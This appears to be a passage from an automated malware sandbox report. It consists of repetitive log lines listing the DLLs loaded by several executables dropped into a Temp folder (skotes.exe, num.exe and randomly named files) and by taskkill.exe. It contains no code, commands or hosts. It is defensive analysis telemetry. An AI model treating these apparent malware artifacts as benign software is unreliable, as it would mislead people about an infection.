Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
